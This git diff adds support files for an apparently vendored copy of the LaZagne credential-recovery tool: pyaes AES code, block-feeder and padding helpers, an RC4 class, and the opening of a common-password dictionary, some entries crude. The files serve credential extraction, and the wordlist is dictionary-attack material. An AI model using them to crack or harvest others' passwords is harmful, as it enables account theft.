+ tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
+ (self.S[(tt >> 8) & 0xFF] << 16) ^
+ (self.S[ tt & 0xFF] << 8) ^
+ self.S[(tt >> 24) & 0xFF] ^
+ (self.rcon[rconpointer] << 24))
+ rconpointer += 1
+
+ if KC != 8:
+ for i in xrange(1, KC):
+ tk[i] ^= tk[i - 1]
+
+ # Key expansion for 256-bit keys is "slightly different" (fips-197)
+ else:
+ for i in xrange(1, KC // 2):
+ tk[i] ^= tk[i - 1]
+ tt = tk[KC // 2 - 1]
+
+ tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
+ (self.S[(tt >> 8) & 0xFF] << 8) ^
+ (self.S[(tt >> 16) & 0xFF] << 16) ^
+ (self.S[(tt >> 24) & 0xFF] << 24))
+
+ for i in xrange(KC // 2 + 1, KC):
+ tk[i] ^= tk[i - 1]
+
+ # Copy values into round key arrays
+ j = 0
+ while j < KC and t < round_key_count:
+ self._Ke[t // 4][t % 4] = tk[j]
+ self._Kd[rounds - (t // 4)][t % 4] = tk[j]
+ j += 1
+ t += 1
+
+ # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
+ for r in xrange(1, rounds):
+ for j in xrange(0, 4):
+ tt = self._Kd[r][j]
+ self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
+ self.U2[(tt >> 16) & 0xFF] ^
+ self.U3[(tt >> 8) & 0xFF] ^
+ self.U4[ tt & 0xFF])
+
+ def encrypt(self, plaintext):
+ 'Encrypt a block of plain text using the AES block cipher.'
+
+ if len(plaintext) != 16:
+ raise ValueError('wrong block length')
+
+ rounds = len(self._Ke) - 1
+ (s1, s2, s3) = [1, 2, 3]
+ a = [0, 0, 0, 0]
+
+ # Convert plaintext to (ints ^ key)
+ t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
+
+ # Apply round transforms
+ for r in xrange(1, rounds):
+ for i in xrange(0, 4):
+ a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
+ self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
+ self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
+ self.T4[ t[(i + s3) % 4] & 0xFF] ^
+ self._Ke[r][i])
+ t = copy.copy(a)
+
+ # The last round is special
+ result = [ ]
+ for i in xrange(0, 4):
+ tt = self._Ke[rounds][i]
+ result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
+ result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
+ result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
+ result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
+
+ return result
+
+ def decrypt(self, ciphertext):
+ 'Decrypt a block of cipher text using the AES block cipher.'
+
+ if len(ciphertext) != 16:
+ raise ValueError('wrong block length')
+
+ rounds = len(self._Kd) - 1
+ (s1, s2, s3) = [3, 2, 1]
+ a = [0, 0, 0, 0]
+
+ # Convert ciphertext to (ints ^ key)
+ t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
+
+ # Apply round transforms
+ for r in xrange(1, rounds):
+ for i in xrange(0, 4):
+ a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
+ self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
+ self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
+ self.T8[ t[(i + s3) % 4] & 0xFF] ^
+ self._Kd[r][i])
+ t = copy.copy(a)
+
+ # The last round is special
+ result = [ ]
+ for i in xrange(0, 4):
+ tt = self._Kd[rounds][i]
+ result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
+ result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
+ result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
+ result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
+
+ return result
+
+
+class Counter(object):
+ '''A counter object for the Counter (CTR) mode of operation.
+
+ To create a custom counter, you can usually just override the
+ increment method.'''
+
+ def __init__(self, initial_value = 1):
+
+ # Convert the value into an array of bytes long
+ self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
+
+ value = property(lambda s: s._counter)
+
+ def increment(self):
+ '''Increment the counter (overflow rolls back to 0).'''
+
+ for i in xrange(len(self._counter) - 1, -1, -1):
+ self._counter[i] += 1
+
+ if self._counter[i] < 256: break
+
+ # Carry the one
+ self._counter[i] = 0
+
+ # Overflow
+ else:
+ self._counter = [ 0 ] * len(self._counter)
+
+
+class AESBlockModeOfOperation(object):
+ '''Super-class for AES modes of operation that require blocks.'''
+ def __init__(self, key):
+ self._aes = AES(key)
+
+ def decrypt(self, ciphertext):
+ raise Exception('not implemented')
+
+ def encrypt(self, plaintext):
+ raise Exception('not implemented')
+
+
+class AESStreamModeOfOperation(AESBlockModeOfOperation):
+ '''Super-class for AES modes of operation that are stream-ciphers.'''
+
+class AESSegmentModeOfOperation(AESStreamModeOfOperation):
+ '''Super-class for AES modes of operation that segment data.'''
+
+ segment_bytes = 16
+
+
+
+class AESModeOfOperationECB(AESBlockModeOfOperation):
+ '''AES Electronic Codebook Mode of Operation.
+
+ o Block-cipher, so data must be padded to 16 byte boundaries
+
+ Security Notes:
+ o This mode is not recommended
+ o Any two identical blocks produce identical encrypted values,
+ exposing data patterns. (See the image of Tux on wikipedia)
+
+ Also see:
+ o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
+ o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
+
+
+ name = "Electronic Codebook (ECB)"
+
+ def encrypt(self, plaintext):
+ if len(plaintext) != 16:
+ raise ValueError('plaintext block must be 16 bytes')
+
+ plaintext = _string_to_bytes(plaintext)
+ return _bytes_to_string(self._aes.encrypt(plaintext))
+
+ def decrypt(self, ciphertext):
+ if len(ciphertext) != 16:
+ raise ValueError('ciphertext block must be 16 bytes')
+
+ ciphertext = _string_to_bytes(ciphertext)
+ return _bytes_to_string(self._aes.decrypt(ciphertext))
+
+
+
+class AESModeOfOperationCBC(AESBlockModeOfOperation):
+ '''AES Cipher-Block Chaining Mode of Operation.
+
+ o The Initialization Vector (IV)
+ o Block-cipher, so data must be padded to 16 byte boundaries
+ o An incorrect initialization vector will only cause the first
+ block to be corrupt; all other blocks will be intact
+ o A corrupt bit in the cipher text will cause a block to be
+ corrupted, and the next block to be inverted, but all other
+ blocks will be intact.
+
+ Security Notes:
+ o This method (and CTR) ARE recommended.
+
+ Also see:
+ o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
+ o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
+
+
+ name = "Cipher-Block Chaining (CBC)"
+
+ def __init__(self, key, iv = None):
+ if iv is None:
+ self._last_cipherblock = [ 0 ] * 16
+ elif len(iv) != 16:
+ raise ValueError('initialization vector must be 16 bytes')
+ else:
+ self._last_cipherblock = _string_to_bytes(iv)
+
+ AESBlockModeOfOperation.__init__(self, key)
+
+ def encrypt(self, plaintext):
+ if len(plaintext) != 16:
+ raise ValueError('plaintext block must be 16 bytes')
+
+ plaintext = _string_to_bytes(plaintext)
+ precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
+ self._last_cipherblock = self._aes.encrypt(precipherblock)
+
+ return _bytes_to_string(self._last_cipherblock)
+
+ def decrypt(self, ciphertext):
+ if len(ciphertext) != 16:
+ raise ValueError('ciphertext block must be 16 bytes')
+
+ cipherblock = _string_to_bytes(ciphertext)
+ plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
+ self._last_cipherblock = cipherblock
+
+ return _bytes_to_string(plaintext)
+
+
+
+class AESModeOfOperationCFB(AESSegmentModeOfOperation):
+ '''AES Cipher Feedback Mode of Operation.
+
+ o A stream-cipher, so input does not need to be padded to blocks,
+ but does need to be padded to segment_size
+
+ Also see:
+ o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
+ o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
+
+
+ name = "Cipher Feedback (CFB)"
+
+ def __init__(self, key, iv, segment_size = 1):
+ if segment_size == 0: segment_size = 1
+
+ if iv is None:
+ self._shift_register = [ 0 ] * 16
+ elif len(iv) != 16:
+ raise ValueError('initialization vector must be 16 bytes')
+ else:
+ self._shift_register = _string_to_bytes(iv)
+
+ self._segment_bytes = segment_size
+
+ AESBlockModeOfOperation.__init__(self, key)
+
+ segment_bytes = property(lambda s: s._segment_bytes)
+
+ def encrypt(self, plaintext):
+ if len(plaintext) % self._segment_bytes != 0:
+ raise ValueError('plaintext block must be a multiple of segment_size')
+
+ plaintext = _string_to_bytes(plaintext)
+
+ # Break block into segments
+ encrypted = [ ]
+ for i in xrange(0, len(plaintext), self._segment_bytes):
+ plaintext_segment = plaintext[i: i + self._segment_bytes]
+ xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
+ cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
+
+ # Shift the top bits out and the ciphertext in
+ self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
+
+ encrypted.extend(cipher_segment)
+
+ return _bytes_to_string(encrypted)
+
+ def decrypt(self, ciphertext):
+ if len(ciphertext) % self._segment_bytes != 0:
+ raise ValueError('ciphertext block must be a multiple of segment_size')
+
+ ciphertext = _string_to_bytes(ciphertext)
+
+ # Break block into segments
+ decrypted = [ ]
+ for i in xrange(0, len(ciphertext), self._segment_bytes):
+ cipher_segment = ciphertext[i: i + self._segment_bytes]
+ xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
+ plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
+
+ # Shift the top bits out and the ciphertext in
+ self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
+
+ decrypted.extend(plaintext_segment)
+
+ return _bytes_to_string(decrypted)
+
+
+
+class AESModeOfOperationOFB(AESStreamModeOfOperation):
+ '''AES Output Feedback Mode of Operation.
+
+ o A stream-cipher, so input does not need to be padded to blocks,
+ allowing arbitrary length data.
+ o A bit twiddled in the cipher text, twiddles the same bit in the
+ same bit in the plain text, which can be useful for error
+ correction techniques.
+
+ Also see:
+ o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
+ o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
+
+
+ name = "Output Feedback (OFB)"
+
+ def __init__(self, key, iv = None):
+ if iv is None:
+ self._last_precipherblock = [ 0 ] * 16
+ elif len(iv) != 16:
+ raise ValueError('initialization vector must be 16 bytes')
+ else:
+ self._last_precipherblock = _string_to_bytes(iv)
+
+ self._remaining_block = [ ]
+
+ AESBlockModeOfOperation.__init__(self, key)
+
+ def encrypt(self, plaintext):
+ encrypted = [ ]
+ for p in _string_to_bytes(plaintext):
+ if len(self._remaining_block) == 0:
+ self._remaining_block = self._aes.encrypt(self._last_precipherblock)
+ self._last_precipherblock = [ ]
+ precipherbyte = self._remaining_block.pop(0)
+ self._last_precipherblock.append(precipherbyte)
+ cipherbyte = p ^ precipherbyte
+ encrypted.append(cipherbyte)
+
+ return _bytes_to_string(encrypted)
+
+ def decrypt(self, ciphertext):
+ # AES-OFB is symetric
+ return self.encrypt(ciphertext)
+
+
+
+class AESModeOfOperationCTR(AESStreamModeOfOperation):
+ '''AES Counter Mode of Operation.
+
+ o A stream-cipher, so input does not need to be padded to blocks,
+ allowing arbitrary length data.
+ o The counter must be the same size as the key size (ie. len(key))
+ o Each block independant of the other, so a corrupt byte will not
+ damage future blocks.
+ o Each block has a uniue counter value associated with it, which
+ contributes to the encrypted value, so no data patterns are
+ leaked.
+ o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
+ Segmented Integer Counter (SIC
+
+ Security Notes:
+ o This method (and CBC) ARE recommended.
+ o Each message block is associated with a counter value which must be
+ unique for ALL messages with the same key. Otherwise security may be
+ compromised.
+
+ Also see:
+
+ o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
+ o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
+ and Appendix B for managing the initial counter'''
+
+
+ name = "Counter (CTR)"
+
+ def __init__(self, key, counter = None):
+ AESBlockModeOfOperation.__init__(self, key)
+
+ if counter is None:
+ counter = Counter()
+
+ self._counter = counter
+ self._remaining_counter = [ ]
+
+ def encrypt(self, plaintext):
+ while len(self._remaining_counter) < len(plaintext):
+ self._remaining_counter += self._aes.encrypt(self._counter.value)
+ self._counter.increment()
+
+ plaintext = _string_to_bytes(plaintext)
+
+ encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
+ self._remaining_counter = self._remaining_counter[len(encrypted):]
+
+ return _bytes_to_string(encrypted)
+
+ def decrypt(self, crypttext):
+ # AES-CTR is symetric
+ return self.encrypt(crypttext)
+
+
+# Simple lookup table for each mode
+AESModesOfOperation = dict(
+ ctr = AESModeOfOperationCTR,
+ cbc = AESModeOfOperationCBC,
+ cfb = AESModeOfOperationCFB,
+ ecb = AESModeOfOperationECB,
+ ofb = AESModeOfOperationOFB,
+)
diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py b/foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py
new file mode 100644
index 0000000..b9a904d
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py
@@ -0,0 +1,227 @@
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+
+from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
+from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
+
+
+# First we inject three functions to each of the modes of operations
+#
+# _can_consume(size)
+# - Given a size, determine how many bytes could be consumed in
+# a single call to either the decrypt or encrypt method
+#
+# _final_encrypt(data, padding = PADDING_DEFAULT)
+# - call and return encrypt on this (last) chunk of data,
+# padding as necessary; this will always be at least 16
+# bytes unless the total incoming input was less than 16
+# bytes
+#
+# _final_decrypt(data, padding = PADDING_DEFAULT)
+# - same as _final_encrypt except for decrypt, for
+# stripping off padding
+#
+
+PADDING_NONE = 'none'
+PADDING_DEFAULT = 'default'
+
+# @TODO: Ciphertext stealing and explicit PKCS#7
+# PADDING_CIPHERTEXT_STEALING
+# PADDING_PKCS7
+
+# ECB and CBC are block-only ciphers
+
+def _block_can_consume(self, size):
+ if size >= 16: return 16
+ return 0
+
+# After padding, we may have more than one block
+def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
+ if padding == PADDING_DEFAULT:
+ data = append_PKCS7_padding(data)
+
+ elif padding == PADDING_NONE:
+ if len(data) != 16:
+ raise Exception('invalid data length for final block')
+ else:
+ raise Exception('invalid padding option')
+
+ if len(data) == 32:
+ return self.encrypt(data[:16]) + self.encrypt(data[16:])
+
+ return self.encrypt(data)
+
+
+def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
+ if padding == PADDING_DEFAULT:
+ return strip_PKCS7_padding(self.decrypt(data))
+
+ if padding == PADDING_NONE:
+ if len(data) != 16:
+ raise Exception('invalid data length for final block')
+ return self.decrypt(data)
+
+ raise Exception('invalid padding option')
+
+AESBlockModeOfOperation._can_consume = _block_can_consume
+AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
+AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
+
+
+
+# CFB is a segment cipher
+
+def _segment_can_consume(self, size):
+ return self.segment_bytes * int(size // self.segment_bytes)
+
+# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
+def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
+ if padding != PADDING_DEFAULT:
+ raise Exception('invalid padding option')
+
+ faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
+ padded = data + to_bufferable(faux_padding)
+ return self.encrypt(padded)[:len(data)]
+
+# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
+def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
+ if padding != PADDING_DEFAULT:
+ raise Exception('invalid padding option')
+
+ faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
+ padded = data + to_bufferable(faux_padding)
+ return self.decrypt(padded)[:len(data)]
+
+AESSegmentModeOfOperation._can_consume = _segment_can_consume
+AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
+AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
+
+
+
+# OFB and CTR are stream ciphers
+
+def _stream_can_consume(self, size):
+ return size
+
+def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
+ if padding not in [PADDING_NONE, PADDING_DEFAULT]:
+ raise Exception('invalid padding option')
+
+ return self.encrypt(data)
+
+def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
+ if padding not in [PADDING_NONE, PADDING_DEFAULT]:
+ raise Exception('invalid padding option')
+
+ return self.decrypt(data)
+
+AESStreamModeOfOperation._can_consume = _stream_can_consume
+AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
+AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
+
+
+
+class BlockFeeder(object):
+ '''The super-class for objects to handle chunking a stream of bytes
+ into the appropriate block size for the underlying mode of operation
+ and applying (or stripping) padding, as necessary.'''
+
+ def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
+ self._mode = mode
+ self._feed = feed
+ self._final = final
+ self._buffer = to_bufferable("")
+ self._padding = padding
+
+ def feed(self, data = None):
+ '''Provide bytes to encrypt (or decrypt), returning any bytes
+ possible from this or any previous calls to feed.
+
+ Call with None or an empty string to flush the mode of
+ operation and return any final bytes; no further calls to
+ feed may be made.'''
+
+ if self._buffer is None:
+ raise ValueError('already finished feeder')
+
+ # Finalize; process the spare bytes we were keeping
+ if data is None:
+ result = self._final(self._buffer, self._padding)
+ self._buffer = None
+ return result
+
+ self._buffer += to_bufferable(data)
+
+ # We keep 16 bytes around so we can determine padding
+ result = to_bufferable('')
+ while len(self._buffer) > 16:
+ can_consume = self._mode._can_consume(len(self._buffer) - 16)
+ if can_consume == 0: break
+ result += self._feed(self._buffer[:can_consume])
+ self._buffer = self._buffer[can_consume:]
+
+ return result
+
+
+class Encrypter(BlockFeeder):
+ 'Accepts bytes of plaintext and returns encrypted ciphertext.'
+
+ def __init__(self, mode, padding = PADDING_DEFAULT):
+ BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
+
+
+class Decrypter(BlockFeeder):
+ 'Accepts bytes of ciphertext and returns decrypted plaintext.'
+
+ def __init__(self, mode, padding = PADDING_DEFAULT):
+ BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
+
+
+# 8kb blocks
+BLOCK_SIZE = (1 << 13)
+
+def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
+ 'Uses feeder to read and convert from in_stream and write to out_stream.'
+
+ while True:
+ chunk = in_stream.read(block_size)
+ if not chunk:
+ break
+ converted = feeder.feed(chunk)
+ out_stream.write(converted)
+ converted = feeder.feed()
+ out_stream.write(converted)
+
+
+def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
+ 'Encrypts a stream of bytes from in_stream to out_stream using mode.'
+
+ encrypter = Encrypter(mode, padding = padding)
+ _feed_stream(encrypter, in_stream, out_stream, block_size)
+
+
+def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
+ 'Decrypts a stream of bytes from in_stream to out_stream using mode.'
+
+ decrypter = Decrypter(mode, padding = padding)
+ _feed_stream(decrypter, in_stream, out_stream, block_size)
diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/util.py b/foreign/client_handling/lazagne/config/crypto/pyaes/util.py
new file mode 100644
index 0000000..daf6ad8
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/pyaes/util.py
@@ -0,0 +1,60 @@
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+# Why to_bufferable?
+# Python 3 is very different from Python 2.x when it comes to strings of text
+# and strings of bytes; in Python 3, strings of bytes do not exist, instead to
+# represent arbitrary binary data, we must use the "bytes" object. This method
+# ensures the object behaves as we need it to.
+
+def to_bufferable(binary):
+ return binary
+
+def _get_byte(c):
+ return ord(c)
+
+try:
+ xrange
+except NameError:
+
+ def to_bufferable(binary):
+ if isinstance(binary, bytes):
+ return binary
+ return bytes(ord(b) for b in binary)
+
+ def _get_byte(c):
+ return c
+
+def append_PKCS7_padding(data):
+ pad = 16 - (len(data) % 16)
+ return data + to_bufferable(chr(pad) * pad)
+
+def strip_PKCS7_padding(data):
+ if len(data) % 16 != 0:
+ raise ValueError("invalid length")
+
+ pad = _get_byte(data[-1])
+
+ if pad > 16:
+ raise ValueError("invalid padding byte")
+
+ return data[:-pad]
diff --git a/foreign/client_handling/lazagne/config/crypto/rc4.py b/foreign/client_handling/lazagne/config/crypto/rc4.py
new file mode 100644
index 0000000..58b9333
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/rc4.py
@@ -0,0 +1,57 @@
+# Thanks to g2jun for his RC4-Python project
+# Code from https://github.com/g2jun/RC4-Python
+
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte
+
+
+class RC4(object):
+
+ def __init__(self, key):
+ self.key_bytes = self.text_to_bytes(key)
+
+ def text_to_bytes(self, text):
+ byte_list = []
+
+ # on Windows, default coding for Chinese is GBK
+ # s = s.decode('gbk').encode('utf-8')
+ for byte in text:
+ byte_list.append(char_to_int(byte))
+
+ return byte_list
+
+ def bytes_to_text(self, byte_list):
+ s = b''
+ for byte in byte_list:
+ s += chr_or_byte(byte)
+ return s
+
+ def encrypt(self, data):
+ plain_bytes = self.text_to_bytes(data)
+ keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes)
+ return self.bytes_to_text(cipher_bytes)
+
+ def crypt(self, plain_bytes, key_bytes):
+
+ keystream_list = []
+ cipher_list = []
+
+ key_len = len(key_bytes)
+ plain_len = len(plain_bytes)
+ S = list(range(256))
+
+ j = 0
+ for i in range(256):
+ j = (j + S[i] + key_bytes[i % key_len]) % 256
+ S[i], S[j] = S[j], S[i]
+
+ i = 0
+ j = 0
+ for m in range(plain_len):
+ i = (i + 1) % 256
+ j = (j + S[i]) % 256
+ S[i], S[j] = S[j], S[i]
+ k = S[(S[i] + S[j]) % 256]
+ keystream_list.append(k)
+ cipher_list.append(k ^ plain_bytes[m])
+
+ return keystream_list, cipher_list \ No newline at end of file
diff --git a/foreign/client_handling/lazagne/config/dico.py b/foreign/client_handling/lazagne/config/dico.py
new file mode 100644
index 0000000..ef23a89
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/dico.py
@@ -0,0 +1,503 @@
+def get_dic():
+ return [
+ u"password",
+ u"123456",
+ u"12345678",
+ u"1234",
+ u"qwerty",
+ u"12345",
+ u"dragon",
+ u"pussy",
+ u"baseball",
+ u"football",
+ u"letmein",
+ u"monkey",
+ u"696969",
+ u"abc123",
+ u"mustang",
+ u"michael",
+ u"shadow",
+ u"master",
+ u"jennifer",
+ u"111111",
+ u"2000",
+ u"jordan",
+ u"superman",
+ u"harley",
+ u"1234567",
+ u"fuckme",
+ u"hunter",
+ u"fuckyou",
+ u"trustno1",
+ u"ranger",
+ u"buster",
+ u"thomas",
+ u"tigger",
+ u"robert",
+ u"soccer",
+ u"fuck",
+ u"batman",
+ u"test",
+ u"pass",
+ u"killer",
+ u"hockey",
+ u"george",
+ u"charlie",
+ u"andrew",
+ u"michelle",
+ u"love",
+ u"sunshine",
+ u"jessica",
+ u"asshole",
+ u"6969",
+ u"pepper",
+ u"daniel",
+ u"access",
+ u"123456789",
+ u"654321",
+ u"joshua",
+ u"maggie",
+ u"starwars",
+ u"silver",
+ u"william",
+ u"dallas",
+ u"yankees",
+ u"123123",
+ u"ashley",
+ u"666666",
+ u"hello",
+ u"amanda",
+ u"orange",
+ u"biteme",
+ u"freedom",
+ u"computer",
+ u"sexy",
+ u"thunder",
+ u"nicole",
+ u"ginger",
+ u"heather",
+ u"hammer",
+ u"summer",
+ u"corvette",
+ u"taylor",
+ u"fucker",
+ u"austin",
+ u"1111",
+ u"merlin",
+ u"matthew",
+ u"121212",
+ u"golfer",
+ u"cheese",
+ u"princess",
+ u"martin",
+ u"chelsea",
+ u"patrick",
+ u"richard",
+ u"diamond",
+ u"yellow",
+ u"bigdog",
+ u"secret",
+ u"asdfgh",
+ u"sparky",
+ u"cowboy",
+ u"camaro",
+ u"anthony",
+ u"matrix",
+ u"falcon",
+ u"iloveyou",
+ u"bailey",
+ u"guitar",
+ u"jackson",
+ u"purple",
+ u"scooter",
+ u"phoenix",
+ u"aaaaaa",
+ u"morgan",
+ u"tigers",
+ u"porsche",
+ u"mickey",
+ u"maverick",
+ u"cookie",
+ u"nascar",
+ u"peanut",
+ u"justin",
+ u"131313",
+ u"money",
+ u"horny",
+ u"samantha",
+ u"panties",
+ u"steelers",
+ u"joseph",
+ u"snoopy",
+ u"boomer",
+ u"whatever",
+ u"iceman",
+ u"smokey",
+ u"gateway",
+ u"dakota",
+ u"cowboys",
+ u"eagles",
+ u"chicken",
+ u"dick",
+ u"black",
+ u"zxcvbn",
+ u"please",
+ u"andrea",
+ u"ferrari",
+ u"knight",
+ u"hardcore",
+ u"melissa",
+ u"compaq",
+ u"coffee",
+ u"booboo",
+ u"bitch",
+ u"johnny",
+ u"bulldog",
+ u"xxxxxx",
+ u"welcome",
+ u"james",
+ u"player",
+ u"ncc1701",
+ u"wizard",
+ u"scooby",
+ u"charles",
+ u"junior",
+ u"internet",
+ u"bigdick",
+ u"mike",
+ u"brandy",
+ u"tennis",
+ u"blowjob",
+ u"banana",
+ u"monster",
+ u"spider",
+ u"lakers",
+ u"miller",
+ u"rabbit",
+ u"enter",
+ u"mercedes",
+ u"brandon",
+ u"steven",
+ u"fender",
+ u"john",
+ u"yamaha",
+ u"diablo",
+ u"chris",
+ u"boston",
+ u"tiger",
+ u"marine",
+ u"chicago",
+ u"rangers",
+ u"gandalf",
+ u"winter",
+ u"bigtits",
+ u"barney",
+ u"edward",
+ u"raiders",
+ u"porn",
+ u"badboy",
+ u"blowme",
+ u"spanky",
+ u"bigdaddy",
+ u"johnson",
+ u"chester",
+ u"london",
+ u"midnight",
+ u"blue",
+ u"fishing",
+ u"000000",
+ u"hannah",
+ u"slayer",
+ u"11111111",
+ u"rachel",
+ u"sexsex",
+ u"redsox",
+ u"thx1138",
+ u"asdf",
+ u"marlboro",
+ u"panther",
+ u"zxcvbnm",
+ u"arsenal",
+ u"oliver",
+ u"qazwsx",
+ u"mother",
+ u"victoria",
+ u"7777777",
+ u"jasper",
+ u"angel",
+ u"david",
+ u"winner",
+ u"crystal",
+ u"golden",
+ u"butthead",
+ u"viking",
+ u"jack",
+ u"iwantu",
+ u"shannon",
+ u"murphy",
